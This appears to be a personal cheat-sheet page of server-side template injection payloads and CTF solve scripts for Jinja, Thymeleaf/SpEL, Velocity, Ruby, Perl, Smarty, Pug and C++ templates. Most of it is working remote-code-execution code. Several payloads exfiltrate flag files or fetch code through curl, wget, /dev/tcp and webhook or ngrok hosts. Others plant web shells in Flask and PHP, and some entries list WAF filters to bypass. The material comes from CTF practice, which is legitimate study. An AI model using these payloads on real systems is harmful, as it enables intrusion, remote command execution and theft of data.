Skip to content

Categories

SSTI

**Using MRO and subclasses to access subprocess.Popen:**This accesses the base object class via MRO, gets all subclasses, and uses index 399 (subprocess.Popen) to execute shell commands.AI writeup (co...

Created

Updated

10 min read

Reading time

1 categories

Topics covered

Share:

Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.


**Using MRO and subclasses to access subprocess.Popen:**

{%print(((1|attr('__class__')|attr('__mro__'))[1]|attr('__subclasses__'))()[399]('wget 1pc$(ls -d)tf:4444 -O-|sh',shell=True))%}

This accesses the base object class via MRO, gets all subclasses, and uses index 399 (subprocess.Popen) to execute shell commands.

Velocity C# SSTI

Attachments
References

Python Jinja

{{request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x66\x6c\x61\x67")|attr("read")()}}
    payload = """    {{request|attr("application")|attr(request.args.get("a"))|attr(request.args.get("c"))(request.args.get("b"))|attr(request.args.get("c"))(request.args.get("d"))("os")|attr("popen")(request.args.get("cmd"))|attr("read")()}}    """.strip()
    params = {
        "a": "__globals__",
        "b": "__builtins__",
        "c": "__getitem__",
        "d": "__import__",
        "cmd": "cat flag.txt"    }

java ssti

AI writeup (codegate quals ctf 2023)

  1. trigger SSTI via **{} in containsExpression() due to state transition flaw: https://github.com/thymeleaf/thymeleaf-spring/blob/f078508ce7d1d823373964551a007cd35fad5270/thymeleaf-spring6/src/main/java/org/thymeleaf/spring6/util/SpringRequestUtils.java#L87
  2. bypass containsSpELInstantiationOrStaticOrParam() T( TypeReference check by T%00(, see https://github.com/thymeleaf/thymeleaf-spring/blob/f078508ce7d1d823373964551a007cd35fad5270/thymeleaf-spring6/src/main/java/org/thymeleaf/spring6/util/SpringStandardExpressionUtils.java#L38 and https://github.com/spring-projects/spring-framework/blob/9cf7b0e230af83e08efa73a43334c75f6110988f/spring-expression/src/main/java/org/springframework/expression/spel/standard/Tokenizer.java#L260
  3. bypass containsSpELInstantiationOrStaticOrParam() T( TypeReference check by T%00(, see https://github.com/thymeleaf/thymeleaf-spring/blob/f078508ce7d1d823373964551a007cd35fad5270/thymeleaf-spring6/src/main/java/org/thymeleaf/spring6/util/SpringStandardExpressionUtils.java#L38 and https://github.com/spring-projects/spring-framework/blob/9cf7b0e230af83e08efa73a43334c75f6110988f/spring-expression/src/main/java/org/springframework/expression/spel/standard/Tokenizer.java#L260
  4. use org.springframework.util.ReflectionUtils for reflection, bypassing isMemberAllowed() check: https://github.com/thymeleaf/thymeleaf/blob/eb546cc968b4393f813c07c29de084740c1a2b2f/lib/thymeleaf/src/main/java/org/thymeleaf/util/ExpressionUtils.java#L187

up to this was my old solution, but we can’t use %00 so

  1. access templateEngine instantiated as a bean by @beanName, use this to re-trigger SSTI with fully controlled string (including nulls)
#!/usr/bin/env python3

import requests
from urllib.parse import quote

HOST, PORT = '3.36.76.180', '34543'

# listen on this port!
#LHOST, LPORT = '172.17.0.1', 65432

def findMethod(cls, method, *paramCls):
    params = ''.join(f""","".class.forName("{pc}")""" for pc in paramCls)
    payload = f"""
        T\x00(org.springframework.util.ReflectionUtils).findMethod(
            "".class.forName('{cls}'),
            "{method}"
            {params}
        )
    """
    return ''.join(payload.split())

def invokeMethod(method, obj='null', *argObjs):
    args = ''.join(f",{arg}" for arg in argObjs)
    payload = f"""
        T\x00(org.springframework.util.ReflectionUtils).invokeMethod(
            {method},
            {obj}
            {args}
        )"""
    return ''.join(payload.split())


getRuntime = findMethod('java.lang.Runtime', 'getRuntime')
exec = findMethod('java.lang.Runtime', 'exec', '[Ljava.lang.String;')
waitFor = findMethod('java.lang.Process', 'waitFor')

runtime = invokeMethod(getRuntime)
process = invokeMethod(exec, runtime, f"COMMAND_GOES_HERE")
ret = invokeMethod(waitFor, process)

command = ['bash', '-c', f'cat /flag* > /dev/tcp/0.tcp.jp.ngrok.io/11697']
assert all('!' not in cmd for cmd in command)
cmdarg = f"'{'!'.join(command)}'.split('!')"
ret = ret.replace('COMMAND_GOES_HERE', cmdarg)

def getStr(s):
    rs = []
    acc = ''
    for c in s:
        if c in '/>\'\\"\x00$':
            if acc:
                rs.append(f'"{acc}"')
                acc = ''
            rs.append(f'"".copyValueOf("a".toCharArray()[0].toChars({ord(c)}))')
        else:
            acc += c
    if acc:
        rs.append(f'"{acc}"')
    return '+'.join(rs)

pl = f'http://{HOST}:{PORT}/' + quote(('''
__|*yeet **{
"a"
+ @servletContext.setAttribute("t","".class.forName("org.thymeleaf.TemplateEngine").newInstance())
+ @servletContext.getAttribute("t").setDialects(@templateEngine.getDialects())
+ @servletContext.getAttribute("t").setTemplateResolver("".class.forName("org.thymeleaf.templateresolver.StringTemplateResolver").newInstance())
+ @servletContext.getAttribute("t").process((''' + getStr('[[${' + ret + '}]]') + '''), "".class.forName("org.thymeleaf.context.Context").newInstance())
+ "lolz"
}|__''').replace('\n', ''))

#print(len(pl), len(ret), pl)

print(requests.get(pl).text)

Java SSTI With WAF

https://github.com/dimasma0305/My-CTF-Challenges/tree/main/Hology-final-2023/Holo-Blog

frog-waf Sekai CTF 2023

    SQLI("\"", "'", "#"),
    XSS(">", "<"),
    OS_INJECTION("bash", "&", "|", ";", "`", "~", "*"),
    CODE_INJECTION("for", "while", "goto", "if"),
    JAVA_INJECTION("Runtime", "class", "java", "Name", "char", "Process", "cmd", "eval", "Char", "true", "false"),
    IDK("+", "-", "/", "*", "%", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9");

SSTI di buildConstraintViolationWithTemplate, dimana kita bisa mengontrol value %s dari variable message

![[Pasted image 20230828190157.png]] ada juga beberapa WAF yang perlu di bypass yang terdapat di src/main/java/com/sekai/app/waf

    SQLI("\"", "'", "#"),    XSS(">", "<"),    OS_INJECTION("bash", "&", "|", ";", "`", "~", "*"),    CODE_INJECTION("for", "while", "goto", "if"),    JAVA_INJECTION("Runtime", "class", "java", "Name", "char", "Process", "cmd", "eval", "Char", "true", "false"),    IDK("+", "-", "/", "*", "%", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9");

solve script:

import itertools
import httpx
from pwn import *# URL = "http://localhost:80"URL = "http://frog-waf.chals.sekai.team/"context.log_level = logging.DEBUG
class BaseAPI:
    def __init__(self, url=URL) -> None:
        self.c = httpx.Client(base_url=url)
    def addContact(s, firstname, lastname, description, country):
        return s.c.post("/addContact", json={
            "firstName": firstname,
            "lastName": lastname,
            "description": description,
            "country": country
        })
class API(BaseAPI):
    def send_payload(s, payload):
        return s.addContact(
            firstname="dimas",
            lastname="dimas",
            description="dimas",
            country=payload
        )
def get_int(i):
    if i == 0:
        return "message.equals(message).compareTo(message.equals(message))"    target = i
    one = "message.equals(message).compareTo(message.equals(message.hashCode()))"    curr = one
    for i in range(target - 1):
        curr = f"message.length().sum({one}, {curr})"    return curr
def get_chr(i):
    # charAt - 22    # toChars - 39    # String.charAt(0).toChars(i)[0].toString()    return f"message.getClass().getMethods()[{get_int(22)}].invoke(message, {get_int(0)}).getClass().getMethods()[{get_int(39)}].invoke(message,{get_int(i)})[{get_int(0)}].toString()"def get_str(txt):
    res = get_chr(ord(txt[0]))
    for i in range(1, len(txt)):
        res += f".concat({get_chr(ord(txt[i]))})"    return res
if __name__ == "__main__":
    api = API()
    for i in itertools.count():
        # https://ares-x.com/tools/runtime-exec/        # cat /flag*        cmd = "bash -c {echo,Y2F0IC9mbGFnKg==}|{base64,-d}|{bash,-i}"        res = api.send_payload((
            "${"            f"[].getClass()[{get_str('forName')}]({get_str('java.lang.Runtime')}).getMethods()[{get_int(6)}]"            f".invoke(null).exec({get_str(cmd)}).getInputStream().readAllBytes()[{get_int(i)}]"            "}"        ))
        violations = res.json()["violations"]
        for violation in violations:
            if violation["fieldName"] == "country":
                country: str = violation["message"]
                break        try:
            print(chr(int(country.split(" ")[0])), end="")
        except:
            continue

reference: https://github.com/SuperStormer/writeups/blob/master/sekaictf_2023/web/frog-waf/solve.py https://gist.github.com/zeyu2001/1b9e9634f6ec6cd3dcb588180c79bf00

Velocity (Java)

ref: https://portswigger.net/research/server-side-template-injection

#set($str=$name.getClass().forName('java.lang.String'))
#set($chr=$name.getClass().forName('java.lang.Character'))
#set($exc=$name.getClass().forName('java.lang.Runtime').getRuntime().exec("whoami"))
$exc.waitFor()
#set($out=$exc.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
 String payload = "${date.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"whoami.exe\").getInputStream().readAllBytes()}";     

Terra rust

https://www.cjxol.com/posts/corctf-2023-crabspace-web-writeup/

`{{ __tera_context }}`
`{{ get_env(name="SECRET") }}`

Mas Daf Challenge

sti in header

GET /?url=@2130706433:1337/environment?admin={%print(request|attr(request.referrer.split().pop(0))|attr(request.referrer.split().pop(1))|attr(request.referrer.split().pop(2))(request.referrer.split().pop(3))|attr(request.referrer.split().pop(2))(request.referrer.split().pop(4))(request.referrer.split().pop(5))|attr(request.referrer.split().pop(6))(request.referrer.split().pop(7))|attr(request.referrer.split().pop(8)))()%}%23/about/ HTTP/1.1
Host: example
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.199 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Cache-Control: max-age=0
Referer: application __globals__ __getitem__ __builtins__ __import__ os popen cat${IFS}/* read

SSTI In El

Untitled

import httpx

URL = "http://localhost:20080/"

class BaseAPI:
    def __init__(self, url=URL) -> None:
        self.c = httpx.Client(base_url=url)

    def api_internal(self, name):
        return self.c.post("/api/external/..;/intern%61l/", headers={"content-type":"application/json"}, data='{"name":"'+name+'"}')

class API(BaseAPI):
    ...

if __name__ == "__main__":
    api = API()
    res = api.api_internal("""${''.getClass().forName('java.lang.Runtim\\u0065').getM\\u0065thods()[6].invok\\u0065(''.getClass().forName('java.lang.Runtim\\u0065')).\\u0065xec('curl https://webhook.site/be08ac4b-8f65-464f-b2be-28dd00573f89 -F=@/FLAG')}""")
    print(res.text)

another solution we can use

''.getClass().forName('org.springframework.context.support.ClassPathXmlApplicationContext').getDeclaredConstructor(''.class).newInstance("http://127.0.0.1:7777/exp.xml")

Jinja SSTI Trick on botlers 2024 web/pwnhub

waf:

INVALID = ["{{", "}}", ".", "_", "[", "]","\\", "x"]

solver:

from hashlib import sha256
import sys
import httpx
import html

URL = "http://192.168.183.138:8000"
URL = "http://pwnhub.hammer.b01le.rs"

class BaseAPI:
    def __init__(self, url=URL) -> None:
        self.c = httpx.Client(base_url=url)
    def createpost(self, content):
        return self.c.post("/createpost", data={
            "content": content,
        })
    def register(self, confirm_password, username, email, password):
        return self.c.post("/register", data={
            "password": password,
            "confirm-password": confirm_password,
            "username": username,
            "email": email,
        })
    def login(self, username, password):
        return self.c.post("/login", data={
            "username": username,
            "password": password,
        })
class API(BaseAPI):
    ...
from random import getrandbits
import flask_unsign

def gen():
    for i in range(0, 999999):
        yield str(hex(i))

SECRET = sys.argv[1]

if __name__ == "__main__":
    api = API()
    api.register(
        username="a",
        password="a",
        email="a",
        confirm_password="a"
    )
    res = api.login("a", "a")
    session_cookie = api.c.cookies.get("session")
    print("session cookie:", session_cookie)
    session = flask_unsign.decode(session_cookie)
    print("session:", session)
    s = flask_unsign.Cracker(session_cookie, threads=32, quiet=True)
    if not SECRET:
        s.crack(gen())
    else:
        s.secret = SECRET
    session["_user_id"] = "admin"
    print("secret:", s.secret)
    new_session_cookie = flask_unsign.sign(session, secret=s.secret)
    print("new session cookie:", new_session_cookie)
    api = API()
    api.c.cookies.set("session", new_session_cookie)
    content = '''
{%set a=request|attr("args")|attr("get")%}
{%set os=a|attr(a("b"))|attr(a("d"))(a("c"))|attr(a("d"))(a("e"))("os")|attr("popen")(a("f"))|attr("read")()%}
{%print(os)%}
'''.replace("\n", "")
    print("content len:", len(content))
    res = api.createpost(content)
    print(res.text)
    url = "/view/"+sha256((session["_user_id"]+content).encode()).hexdigest()
    res = api.c.get(url, params={"b": "__globals__", "c": "__builtins__", "d": "__getitem__", "e": "__import__", "f": "cat /flag.txt"})
    print(html.unescape(res.text))

Jinja2

import binascii
import requests
import re
import html

URL = "http://103.49.238.77:28961/"

def req(payload):
    res = requests.post(
        URL,data={
            "n": payload
        }
    )
    text = res.text
    print(text)


def get_global_variable():
    req(r'(lipsum,)|list|last')
    req(r'(lipsum,)|map(**{"at"+"tribute": "\x5F\x5Fglobals\x5F\x5F"})|list|last')

def get_attr_os():
    req(r'(lipsum,)|map(**{"at"+"tribute": "\x5F\x5Fglobals\x5F\x5F"})|map(**{"at"+"tribute":"os"})|list|last')

def get_attribute_popen():
    req(r'(lipsum,)|map(**{"at"+"tribute": "\x5F\x5Fglobals\x5F\x5F"})|map(**{"at"+"tribute":"os"})|map(**{"at"+"tribute":"popen"})|list|last')

# ini tidak bisa karena /bin di delete
def get_rce(cmd):
    return r'((((lipsum,)|map(**{"at"+"tribute": "\x5F\x5Fglobals\x5F\x5F"})|map(**{"at"+"tribute":"os"})|map(**{"at"+"tribute":"popen"})|list|last)("%s"),)|map(**{"at"+"tribute": "read"})|list|last)()' % cmd

def execute(cmd):
    return r'''((lipsum,)|map(**{"at"+"tribute": "\x5F\x5Fglobals\x5F\x5F"})|map(**{"at"+"tribute":"\x5F\x5Fbu\x69ltins\x5F\x5F"})|map(**{"at"+"tribute":"exec"})|list|last)("%s")''' % cmd

def hex_encode(x: str):
    x = binascii.hexlify(x.encode()).decode()
    new_x = ""
    for i in range(0, len(x), 2):
        new_x += r"\x{}{}".format(x[i], x[i+1])
    return new_x

if __name__ == "__main__":
    cmd = hex_encode("""
from flask import current_app, after_this_request
@after_this_request
def hook(*args, **kwargs):
    from flask import make_response
    import os
    with open("flag_my_secret_flag_( T - T ).txt", "r") as f:
        flag = f.read()
    r = make_response(flag.replace('TECHCOMFEST2023', 'f'))
    # r = make_response(os.listdir())
    return r
""")
    ex = execute(cmd)
    req(ex)

We can do something like this if there’s no internet connection into the container

{{ self.__init__.__globals__.__builtins__.exec("gl.update(y=lambda: __import__('subprocess').check_output('/readflag'.split(' '), shell=True))", {"gl":self.__init__.__globals__} )  }}{{self.__init__.__globals__.__builtins__.__import__("sys").modules["__main__"].app.view_functions.update(login=self.__init__.__globals__.y) }}

something like this too is possible

AD world ezrender web

import requests

from server_addr import remote_addr

jwt = "eyJuYW1lIjogImdnZzEiLCAic2VjcmV0IjogImV5SjBlWEFpT2lKS1YxUWlMQ0poYkdjaU9pSklVekkxTmlKOS5leUp1WVcxbElqb2laMmRuTVNJc0ltbHpYMkZrYldsdUlqb2lNU0o5LmgwcDUyaDNGNm9tUk1hZ3dacHg3LUdSXzdveEU5S2lrenJTQXZmSkVGbEkifQ=="

headers = {"Cookie": "Token="+jwt}
rs = requests.Session()

shellcode = '''
__import__('flask').current_app._got_first_request=False;__import__('flask').current_app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(__import__('flask').request.args.get('cmd', 'whoami')).read())
'''.strip()

import base64
shellcode_b64 = base64.b64encode(shellcode.encode()).decode()

for i in range(80,81):
    code='''
    {{''.__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(DATA).__init__.__globals__.__getitem__("__builtins__").__getitem__("ex"+"ec")("import base64;ex"+"ec(base64.b64decode(b'XXX').decode())")}}
    '''.strip()

    code = code.replace("DATA",str(i))
    code = code.replace("XXX",shellcode_b64)

    resp = rs.post(remote_addr + "/admin",data={"code":code},headers=headers)
    print(i,resp.text)
    if resp.status_code != 500:
        print(i,resp.text)
        break

SSTI In Ruby and Bypass Some WAF

Untitled

  FILTER = ["system", "eval", "exec", "Dir", "File", "IO", "require", "fork", "spawn", "syscall", '"', "'", "(", ")", "[", "]","{","}", "`", "%","<",">"]

Solver:

import httpx

URL = "http://3.34.253.4:3000/"

class BaseAPI:
    def __init__(self, url=URL) -> None:
        self.c = httpx.Client(base_url=url)
    def get_token(self):
        res = self.c.get("/")
        return res.text.split('authenticity_token" value="')[1].split('"')[0]
    def calculate_fee(self, user_leverage, user_entry_price, user_exit_price, user_quantity, authenticity_token):
        return self.c.post("/calculate_fee", json={
            "user_entry_price": user_entry_price,
            "user_exit_price": user_exit_price,
            "user_quantity": user_quantity,
            "authenticity_token": authenticity_token,
            "user_leverage": user_leverage,
        })
class API(BaseAPI):
    ...
def convert_string_to_hex(string):
    return '+'.join([f"0x{ord(c):02x}.chr" for c in string])

if __name__ == "__main__":
    api = API()
    token = api.get_token()
    res = api.calculate_fee(
        user_leverage="11",
        user_entry_price=f"0 and send {convert_string_to_hex('system')}, {convert_string_to_hex('curl https://webhook.site/d0549b5f-56e4-478b-a7c7-680f50fba823 --data `cat flag* | base64`')}  or 1",
        user_exit_price="30000",
        user_quantity="31337",
        authenticity_token=token
    )
    print(res.text)

Perl SSTI in library Template

Soal

use strict;
use warnings;

use Dancer2;
use Template;

my @greetings = ("Hello", "Ebe", "Greetings", "Hi", "Good day");

get '/' => sub {
    my $greeting = $greetings[rand @greetings];
    template 'index' => {
        greeting => $greeting
    };
};

post '/debug' => sub {
    my $input = body_parameters->get('debug');
    my $output;

    my $template = Template->new({
        INCLUDE_PATH => './views'
    });
    $template->process(\$input, {}, \$output) or die $template->error();
    return $output;
};

start;

Solver

import httpx

URL = "http://piggy.web.jctf.pro/"
# URL = "http://localhost:1234"

class BaseAPI:
    def __init__(self, url=URL) -> None:
        self.c = httpx.Client(base_url=url, timeout=9999)

    def debug(self, debug):
        return self.c.post("/debug", data={"debug": debug})

class API(BaseAPI):
    ...

if __name__ == "__main__":
    api = API()
    res = api.debug("""
                    [% USE dir = Directory("/app/") %]

    # files returns list of regular files
    [% FOREACH file = dir.files %]
       [% file.name %] [% file.path %] ...
    [% END %]

    # dirs returns list of sub-directories
    [% FOREACH subdir = dir.dirs %]
       [% subdir.name %] [% subdir.path %] ...
    [% END %]

    # list returns both interleaved in order
    [% FOREACH item = dir.list %]
       [% IF item.isdir %]
          Directory: [% item.name %]
       [% ELSE %]
          File: [% item.name %]
       [% END %]
    [% END %]

    # define a VIEW to display dirs/files
    [% VIEW myview %]
       [% BLOCK file %]
       File: [% item.name %]
       [% END %]

       [% BLOCK directory %]
       Directory: [% item.name %]
       [% item.content(myview) | indent -%]
       [% END %]
    [% END %]

    # display directory content using view
    [% myview.print(dir) %]


    [% USE mydata = datafile('/app/flag_980aef6e461ca1009ea62da051753b38.txt', delim = ' is your fat flag:') %]

    [% FOREACH record = mydata %]
       [% record.Here %]
    [% END %]
""")
    print(res.text)
[% USE mydata = datafile('/app/flag_980aef6e461ca1009ea62da051753b38.txt', delim = ' is your fat flag:') %][% FOREACH record = mydata %]
       [% record.Here %]
    [% END %]
[% template.new({ 'BLOCK' => 'use Data::Dumper; print STDERR Dumper(\%ENV); die' }) %]

SSTI IN C++ Framework

Niceview 1

CrewCTF 2024

    pso = open("payload.so", "rb").read()
    with zipfile.ZipFile(zf, 'w') as myzip:
        myzip.writestr(f'/app/views/d/{name}.csp', payload)
        myzip.writestr(f'/app/views/d/{name}.so', pso)
    zf.seek(0)
    r = requests.post(HOST + "/upload", files={"score": (b"score.mscz", zf.read())})

Niceview 2

CrewCTF 2024

payload = f"""
<%inc #include "{rs}_util.json" %>
{{% goflag() %}}
"""

payload2 = """
#include <fstream>
std::string goflag() {
    std::ifstream fin("/app/flag.txt");
    std::string line;
    std::getline(fin, line);
    return line;
}
"""

zf = io.BytesIO()

with zipfile.ZipFile(zf, 'w') as myzip:
    myzip.writestr(f'/app/views/d/{name}.csp', payload)
    myzip.writestr(f'/app/views/d/{name}.csp.csp', payload)
    myzip.writestr(f'/app/views/d/{name}_util.json', payload2)

In Smarty 5.4 you can do this to do ssti if you have a controll over the path

idekctf 2024 (web/untitled-smarty-challenge)

unitended (only using smarty)

import httpx
import asyncio

URL = "http://localhost:1337"

class BaseAPI:
    def __init__(self, url=URL) -> None:
        self.c = httpx.AsyncClient(base_url=url)

class API(BaseAPI):
    ...

async def main():
    api = API()
    """
    work in: "smarty/smarty": "5.4"
    """
    res = await api.c.get('/', params={
        "page": '/?><?phpx/{$smarty["template_object"]->getSmarty()->writeFile({$smarty["get"]["f"]},{$smarty["get"]["p"]})}/../../../../../../../../../../../../../../../../app/composer.json'
    })
    res = await api.c.get("/", params={
        "f": "/app/index.php",
        "p": "<?php ($_GET['f'])($_GET['c']);?>",
        "page": "/x/y/../../../../../../../../../../../../../../../../app/templates_c/f0a2f96b82b2130b52832576a3cf039d36fd1114_0.file_composer.json.php"
    })
    res = await api.c.get("/", params={
        "f": "system",
        "c": "cat /flag*"
    })
    print(res.text)


if __name__ == "__main__":
    asyncio.run(main())

itended (using smarty + symphony)

https://github.com/idekctf/idekctf-2024/tree/main/web/untitled-smarty-challenge

GET /?page={include+file="eval:base64:e1N5bWZvbnlcQ29tcG9uZW50XFByb2Nlc3NcUHJvY2Vzczo6ZnJvbVNoZWxsQ29tbWFuZGxpbmUoImNhdCAvZmxhZyogPj4gaW5kZXgucGhwIiktPnJ1bigpfQ=="}/../home 
GET /?page=../templates_c/f5fb5be85efe77d883dab7b400f78b1997e42bc1_0.file_home.php

another solver

import requests

HOST = "http://localhost:1337"
# HOST = "https://smarty-challenge-467fb63c467014b2.instancer.idek.team/"


def save(template_code):
    template_code = template_code.replace("\n", "").replace(" ", "")
    r = requests.get(HOST, params={"page": template_code + "/../about"})
    print(r.text)


def load(page, params={}):
    params["page"] = page
    r = requests.get(HOST, params=params)
    print(r.text)


"""
Idea:
1. Use $smarty.template_object to get access to some `public` methods
2. Enable caching for templates using setCaching(2)
3. Display another template, now that caching is enabled
4. This new template may write to the cache now, we write raw PHP code
5. Reload the same template again to execute the written cache

Tricks:
- `.` was blocked inside directory path, so `[""]` was used intead to access attributes
- Storing complex or unpredictable strings inside `$smarty.get.PARAMETER`
"""

if __name__ == "__main__":
    save("""
    {$t=$smarty["template_object"]}
    {$s=$t->getSmarty()}
    {$t->getCached()->writeCache($t, $smarty["get"]["p"])}
    {$s->display($smarty["get"]["d"])}
    """)  # 2
    save("""
    {$t=$smarty["template_object"]}
    {$s=$t->getSmarty()}
    {$s->setCaching(2)}
    {$s->display($smarty["get"]["d"])}
    """)  # 1

    # Found using `ls /app/templates_c`
    HASH1 = "dde19c67eca9d4ccb26e952c7aa654d48720ef5c"
    HASH2 = "f401cea0082ff69f69c0766cdd3408caee1416b5"

    path1 = f"../../../app/templates_c/{HASH1}_0.file_about.php"
    path2 = f"../../../app/templates_c/{HASH2}_0.file_about.php"

    load(path1, {
        "p": "<?php system('id > /tmp/pwned'); ?>",
        "d": path2
    })

PUG template injection

slashroot-8-challs/final/NodeJS Enthusiast/README.md at web · Kelompok-Studi-Linux-Stikom-Bali/slashroot-8-challs

#{x = 'global.p\x72ocess.mainModule.constructor._load\x28\x27child_p\x72ocess\x27\x29.exec\x28"curl+daffa.info:1337+-d\s=\x60cat+/*\x60"\x29'}
#{x instanceof { [Symbol.hasInstance]: eval } }
GET /admin?name=%23{x='global.p\x72ocess.mainModule.constructor._load\x28\x27child_p\x72ocess\x27\x29.exec\x28"curl+daffa.info:1337+-d\s=\x60cat+/*\x60"\x29'}%23{x+instanceof+{+[Symbol.hasInstance]:+eval+}} HTTP/1.1
Host: 127.0.0.1:21291
Cookie: connect.sid=xxxxug

java runtime

"".getClass().forName("java.lang.Runtime").getDeclaredMethod("getRuntime").invoke(null).exec("wget+http://10.18.200.111:1337/2.sh+-O+/tmp/nabilganteng.sh")

Categories & Topics

This note is categorized under the following topics. Click on any category to explore more related content.

Share this note

Share:

Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.